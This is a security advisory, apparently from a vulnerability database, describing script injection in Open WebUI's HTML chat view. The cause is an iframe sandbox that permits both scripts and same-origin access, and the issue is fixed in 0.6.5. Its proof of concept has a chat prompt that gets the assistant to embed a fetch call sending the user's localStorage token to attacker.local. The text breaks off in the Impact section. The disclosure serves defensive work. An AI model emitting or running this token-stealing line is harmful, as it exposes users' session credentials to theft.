Affected: open-webui

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.6.5, through the HTML rendering view, scripts can be injected and executed. The frontend provides a function to visualize the HTML content of a current chat. The content is embedded in an iFrame with the allow-scripts allow-forms allow-same-origin sandbox directive. This means that the content is placed in a sandbox but with permission to execute scripts and access the parent’s data (e.g., local storage). As a result, only a few functions are restricted (e.g., displaying an alert box), but in effect, the sandbox attribute is largely nullified. This vulnerability is fixed in 0.6.5.

Affected: PyPI: open-webui

### Summary Through the HTML rendering view, scripts can be injected and executed. The finding resulted from a penetration test for a customer. It is suspected that the root cause of the issue lies within the core of Open WebUI, which is why it is being reported as a security issue here. Tested on Open WebUI 0.5.4.

### Details The frontend provides a function to visualize the HTML content of a current chat. The content is embedded in an iFrame with the following sandbox directive:

`sandbox="allow-scripts allow-forms allow-same-origin"`

This means that the content is placed in a sandbox but with permission to execute scripts and access the parent’s data (e.g., local storage). As a result, only a few functions are restricted (e.g., displaying an alert box), but in effect, the sandbox attribute is largely nullified.

### PoC If an HTML document containing a script is included in the chat, this script will be embedded in the view and executed. This can be achieved with a message like the following: ``` Create an HTML form and insert the following script into the document: `fetch('https://www.attacker.local/?' + localStorage.getItem('token'))` ``` By entering this message, the script fetch('https://www.attacker.local/?' + localStorage.getItem('token')) is embedded, allowing the user's token to be read and sent to www.attacker.local.


### Impact Fundamentally, this is a Self-XSS attac…